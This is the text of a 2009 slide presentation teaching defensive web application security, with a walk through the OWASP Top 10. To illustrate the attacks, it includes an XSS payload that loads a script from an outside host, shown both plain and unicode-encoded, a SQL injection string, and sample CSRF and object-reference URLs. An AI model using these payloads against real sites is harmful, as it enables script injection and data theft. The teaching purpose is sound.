Web Application Security 2009

WEB APPLICATION SECURITY Don Ankney June 2009

1

DISCLAIMER •

This presentation is my own work, done on my own time, and is not sanctioned or vetted by Microsoft.

•

Blame me if it sucks. I’m sure you can find something else to blame Microsoft for if you really want to.

2

AGENDA •

General Web Application Security Principals: • Trust • Data handling • Principal of least privilege • Defense in depth • Challenge your assumptions • “Think Evil” • Threat Modeling

•

OWASP Top 10

3

GENERAL PRINCIPALS How to think about web application security

4

TRUST •

Trust no one.

•

Anything that is not completely under your control should not be trusted.

•

“Trust, but verify.”

5

TRUST BOUNDARIES User

System Application

Database 6

TRUST BOUNDARIES •

User interaction includes: • Post, get, put, headers, cookies, ajax, etc. • Anything that comes in across the trust boundary.

•

Server interaction includes: • Filesystem, LDAP, logs, other processes. • Anything outside your codebase.

7

DATA HANDLING •

Bringing data across a trust boundary means both making sure you can trust data coming in and properly encoding the data going out.

•

The two primary techniques for building trust are validation and sanitization.

•

In both techniques, whitelists are preferable to blacklists.

8

WHITELISTS V. BLACKLISTS •

A whitelist is simply a list of something you do want or expect.

•

A blacklist is a list of things you specifically do not want.

•

Blacklists are never comprehensive – an attacker will always think something you didn’t. This is why we whitelist.

9

DATA VALIDATION •

Data validation is the act of determine whether or not input conforms to your expectations.

•

For example, if you are expecting a US phone number, you are expecting a ten digit number that begins with 2-9*.

•

Validation doesn’t change the data – it’s a boolean conformity test. *It’s actually more complex than this.

10

DATA SANITIZATION •

Data sanitization modifies the input so that it matches the desired criteria.

•

Following the same example, a phone number might be entered as:

(866)500-6738

•

If the number is sanitized with a whitelist that requires ten digits, it would become:

8665006738

11

PRINCIPAL OF LEAST PRIVILEGE •

Each user should have permissions that allow them to accomplish a given task, but no more.

•

Evaluate your system and come up with role-based scenarios. What are the common tasks? How are they grouped into user roles?

•

A user may have more than one role, but should never have more access than they need.

12

DEFENSE IN DEPTH •

Security is like an onion …

•

Always implement the strongest mitigations you can think of. This is your front line.

•

Don’t stop there – build additional layers as fall-back positions. This is defense in depth.

•

Make sure that detection is one of those layers. Design a good logging system and catch an intruder before he makes it past the second layer.

13

CHALLENGE YOUR ASSUMPTIONS •

Don’t assume that the attacker is using your client software – the user is always untrusted.

•

Don’t assume that the attacker is following your page flow – the front door may not be the only way in.

•

Don’t assume that network defenses solve denial of service. Design application-level defenses.

•

If something needs to be “true” in order for the software to work, first validate it and then enforce it.

14

“THINK EVIL” •

Bruce Schneier calls this the “Security Mindset” (blog link).

•

Usability can be the enemy of security. When doing UX design, always ask yourself how the feature can be misused.

•

It’s difficult to do this systematically.

15

THREAT MODELING •

Threat modeling is systematic.

•

This is a design tool. • Start with a data flow diagram. • Add your trust boundaries – all of them. • Every time you cross a trust boundary, look at both of the connected components and enumerate the threats. • Design mitigations for each of those threats. • That’s it – the rest is implementation. Just make sure you follow through on the mitigations.

16

“STRIDE” FRAMEWORK •

Many threat modeling frameworks exist – Dread, Trike, CVSS, Octave, AS/NZS 4360.

•

My preference is the STRIDE taxonomy:

•

•

Spoofing

•

Tampering

•

Repudiation

•

Information Disclosure

•

Denial of Service

•

Elevation of Privilege

Stride is specifically aimed at developers, not risk managers.

17

OWASP TOP TEN The 10 most common web application vulnerabilities

18

OWASP TOP TEN 2007 •

Cross Site Scripting (XSS)

•

Injection Flaws

•

Malicious File Execution

•

Insecure Direct Object Reference

•

Cross Site Request Forgery (CSRF)

•

Information Leakage and Improper Error Handling

•

Broken Authentication and Session Management

•

Insecure Cryptographic Storage

•

Insecure Communications

•

Failure to restrict URL access

19

CROSS SITE SCRIPTING •

Cross site scripting is an attack against your users. A successful attack will allow the attacker to run arbitrary Javascript in a user’s browser.

•

The trouble with XSS is that the larger the application, the more paths data can travel through it. You have to nail all of them.

20

REFLECTED XSS •

Data from a user is accepted by a page, processed, and returned to the user.

•

This type of vulnerability is often detectable by automated tools making it the most common.

•

It’s scope is limited to the user that submits the malicious request (often via phishing or other social engineering attacks).

21

REFLECTED XSS •

This request simply tells me hello: http://example.com/hello.cgi?name=Don

•

This isn’t as friendly: http://example.com/hello.cgi?name=<SCRIPT SRC=http://hackerco.de/evil.js>

•

This is the exact same thing (unicode): http://example.com/hello.cgi?name=%u003c %u0053%u0043%u0052%u0049%u0050%u0054%u0020%u0053%u0 052%u0043%u003d%u0068%u0074%u0074%u0070%u003a%u002f %u002f%u0068%u0061%u0063%u006b %u0065%u0072%u0063%u006f%u002e%u0064%u0065%u002f %u0065%u0076%u0069%u006c%u002e%u006a%u0073%u003e %u003c%u002f %u0053%u0043%u0052%u0049%u0050%u0054%u003e 22

PERSISTENT XSS •

Persistent XSS takes exactly the same attack strings, but instead of returning them right away, they are stored in the application and displayed to all users who view an infected page.

•

Rarer, but much more dangerous.

23

CROSS SITE SCRIPTING •

To fight XSS, you need to bring data across trust boundaries safely.

•

Sanitize incoming data via a whitelist.

•

Encode outgoing data properly (usually HTML encoding).

24

•

A couple of gotchas: • Attackers often encode the attack strings to bypass whitelists. • Before checking the whitelist, make sure the input encoding matches the application’s internal representation. • You may need to do this several times as attackers sometimes do multiple encodings. • Also, internationalization makes this a lot more difficult. If your framework provides this functionality for you, use it – don’t reinvent the wheel.

25

INJECTION FLAWS •

This is an attack against your server that can allow arbitrary code execution.

•

SQL Injection is the most infamous type of code injection attack.

•

Other types of injection include LDAP, XML, HTTP, XAMP, PHP, JSP, Python, Perl …

•

Instead of tracking the individual techniques, you can think about this as interpreter injection.

26

INTERPRETER INJECTION •

I can think of three ways that code can be injected into an interpreter: • User input • Dynamic includes • Static includes across a trust boundary

•

Two of these are architectural – you simply design the application to avoid dynamic or cross-boundary includes.

•

User input is brought in across a trust boundary, so it needs to be validated or sanitized.

27

SQL INJECTION •

Consider this pseudo-code example: Query query = “SELECT sensitiveData FROM table WHERE table.owner = ‘“ + userNameFromGet + “’”; query.execute();

•

What happens if the username is: ‘ OR ‘1’ = ‘1

•

Remember that thing about trust no one?

28

SQL INJECTION •

There’s good news about SQL injection. We know how to solve it.

•

There are two layers of defense: • Use stored procedures that exercise the principal of least privilege • Use parameterized queries.

•

Parameterized queries do the heavy lifting here.

29

PARAMETERIZED QUERIES •

Here, the structure of the query is separate from its parameters. Even if the parameters product functional SQL statement, it is treated as data. Query query = “SELECT sensitiveData FROM table WHERE table.owner=‘?1’”; query.setParam(1, “userNameFromGet”); query.execute();

•

There is no way to bypass this. Parameterized queries are pure win.

30

MALICIOUS FILE EXECUTION •

Just like interpreter injection, this allows an attacker to execute arbitrary code on your system, only this is not limited only to interpreted code.

•

This is primarily about upload handling, though there are other ways of getting malicious code onto a server (SMB, attacking the update process, etc).

31

MALICIOUS FILE EXECUTION •

Remember that the OS and filesystem are untrusted: • Do not make system calls from within your code – use libraries to accomplish the same thing. • Don’t allow direct reference to the file system. Use a wrapper that enforces access policy. • When accepting uploads, obfuscate the file name (asymmetric encryption).

32

INSECURE DIRECT OBJECT REFERENCE •

This is where a developer exposes an internal implementation object to the end user – state information and method parameters become visible.

•

Exposed parameters are often things such as account numbers, database keys, filenames, etc.

33

INSECURE DIRECT OBJECT REFERENCE •

This is a very common example:

http://example.com/photos.cgi? gallery=1 •

Here the primary key in the database is exposed as the value “gallery.”

•

You can enter an number you’d like into the URI and view the photos in that gallery.

34

INSECURE DIRECT OBJECT REFERENCE •

Here’s another common example:

http://example.com/photos.cgi? method=add&gallery=1 •

What happens if I put another photographer’s gallery number into the URI?

•

What if the content I’m posting is illicit?

•

What if I use gallery=999999999999999? 35

INSECURE DIRECT OBJECT REFERENCE •

Don’t ever directly expose your implementation in this way.

•

Write a wrapper class. Remember that the user input is not trusted, so bring it across the trust boundary safely.

•

After you’ve brought it across safely, enforce your security policies – authenticate, authorize, etc.

36

CROSS SITE REQUEST FORGERY •

Cross Site Request Forgery (CSRF) occurs when the browser submits a request on an attacker’s behalf.

•

Consider this:

http://example.com/transfer.cgi? dest=1&amount=1 •

If the user has an active, authenticated session, the attacker can transfer funds to any account.

37

CROSS SITE REQUEST FORGERY •

Yes, this does require a little bit of social engineering – the attacker has to get a user to click on a link, right?

•

Most users would never notice that something happened. Would you?

38

CROSS SITE REQUEST FORGERY •

Solving this is easy. Submit a token with each request. If an attacker can’t predict the token, they can’t trick the browser into submitting a request on their behalf.

•

At the very least, the token needs to be unique to the user. Other common strategies include session-unique and function-unique tokens.

•

If the token is even mildly predictable, then the attacker can play the numbers. Make it truly unpredictable – it should meet the same standards as your session token.

•

If your token involves crypto, use something robust, such as SHA-2.

39

CROSS SITE REQUEST FORGERY

Notice: • POST, not GET – posting a form doesn’t leave a token in the referer header or history. • The token isn’t stored in the cookie – you have to use a vehicle that isn’t autosubmitted. A header could have worked as well.

40

INFORMATION LEAKAGE •

UX folks are always after developers to give their users friendly, informative error messages when something fails.

•

Don’t listen to them.

•

Friendly is good, but informative often gives attackers actionable intelligence about how your application is written. • This is one of the most common techniques used to discover SQL Injection vulnerabilities.

•

Log detailed debug information. Display something generic. • Make sure the generic messages are uniform – an attacker can use slight inconsistencies in the error messages to differentiate between error states.

41

BROKEN AUTHENTICATION & SESSION MANAGEMENT •

Identity management is difficult to write well.

•

Authentication & session management considerations: • New account establishment • Password recovery/change • Password requirements • Secure credential storage • Brute force mitigation • Identity management middleware integration • Sufficiently entropic session token generation

42

BROKEN AUTHENTICATION •

This is a significant engineering challenge that has already been solved for you.

•

This is one of those things that’s very easy to do almost right, but difficult to get really right.

•

Use a federated identity provider such as OpenID.

43

INSECURE CRYPTOGRAPHIC STORAGE •

Cryptography is hard. Don’t invent your own ciphers. Don’t implement an established cipher on your own.

•

Not all ciphers are created equal – make sure you’re using a strong cipher.

•

Consult someone smarter than me with crypto concerns – I’m not qualified to advise.

44

INSECURE COMMUNICATIONS •

This is the classic eavesdropping scenario. Remember that all data transmitted in an unencrypted pipe is subject to interception.

•

This enables other attacks: • Man in the middle • Session stealing • Replay attacks

•

The solution is simple – SSL • If you can’t SSL everything, do some analysis of the flow through your application.

45

FAILURE TO RESTRICT URL ACCESS •

Many application developers assume that because a link is not visible to an attacker, the attacker will not be able to find it.

•

Obscurity is not security – enforce your access policies in the application.

46

FINAL THOUGHTS •

Security is a lifecycle -- it begins when you have that first idea and doesn’t end until the product is retired.

•

Ultimately, what we’re talking about is creating a culture of quality. Knowing how to solve these problems isn’t enough. Unless every line of code checked in represents an engineer’s best effort, problems will slip though.

47

BIBLIOGRAPHY •

Fogie, Seth, Jeremiah Grossman, Robert Hansen, Anton Rager, and Petko D. Petkov. Xss Attacks: Cross Site Scripting Exploits and Defense. Syngress, 2007.

•

Gallagher, Tom, Lawrence Landauer, and Bryan Jeffries. Hunting Security Bugs. Microsoft Press, 2006.

•

Howard, Michael, and David LeBlanc. Writing Secure Code, Second Edition. Microsoft Press, 2003.

•

Howard, Michael, David LeBlanc, and John Viega. 19 Deadly Sins of Software Security (Security One-Off). McGraw-Hill Osborne Media, 2005.

•

Stuttard, Dafydd, and Marcus Pinto. The Web Application Hacker's Handbook: Discovering and Exploiting Security Flaws. Wiley, 2007.

•

Swiderski, Frank, and Window Snyder. Threat Modeling (Microsoft Professional). Microsoft Press, 2004.

48

IF YOU ONLY READ ONE BOOK ... •

Creative Commons License

•

$12.83 @ Lulu.com

•

Download a .pdf for free here.

•

Also available in Spanish and Japanese

49

I’M WEB 2.0 •

Blog: http://hackerco.de

•

Linkedin: http://linkedin.com/pub/don-ankney/6/213/651

•

Twitter: http://twitter.com/dankney

•

E-mail: [email protected]

•

Black Lodge: http://black-lodge.org

50

QUESTIONS?

51